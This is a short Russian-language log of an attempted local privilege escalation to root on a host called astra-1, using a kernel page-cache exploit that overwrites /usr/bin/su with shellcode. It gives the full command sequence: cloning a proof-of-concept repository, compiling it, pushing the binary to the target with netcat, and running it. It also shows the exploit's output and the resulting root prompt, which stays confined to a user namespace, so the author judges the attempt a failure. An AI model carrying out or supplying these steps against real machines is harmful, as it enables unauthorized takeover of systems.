Попытка локального повышения привилегий с пользователя ksb (uid=1000) до root (uid=0) через уязвимость в ядре (подмена страниц кэша для /usr/bin/su).
НЕ УСПЕШНО (частично)
whoamiпоказываетrootidпоказываетuid=0(root)- НО: root работает внутри
userns(user namespace) - Реального контроля над системой нет —
apt install, запись в/root, нормальный шелл — НЕ РАБОТАЮТ
Проверка:
cat /proc/self/uid_map
0 1000 1
Метка процесса осталась в исходном namespace, реальный root не получен.
git clone https://github.com/v12-security/pocs.git
cd pocs/fragnesia
gcc -o exp fragnesia.c
nc -l -p 1234 < exp
nc 10.** 1234 > fragnesia
chmod +x fragnesia
./fragnesia
ИЛИ если компилировали прямо на цели:
./exp
- Эксплойт ищет
/usr/bin/suи подготавливает shellcode (192 байта) - Пишет в
read-only page cache:[*] smashing 192 bytes into read-only page cache [==================================================] 192/192 (100%) [+] BUG: changed requested copied byte range to desired values - После срабатывания
espintcp_spliceпоявляется приглашение `root@astra-1:...# - Но сразу видно проблему:
bash: /root/.bashrc: Permission denied - Дальше
apt install gcc— ошибка:E: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied) ls -la /var/lib/dpkg/показывает владельцаnobody:nogroup— root внутри userns не может писать
Эксплойт обманывает проверку UID, но не даёт реального контроля над системой. Для практического использования непригоден.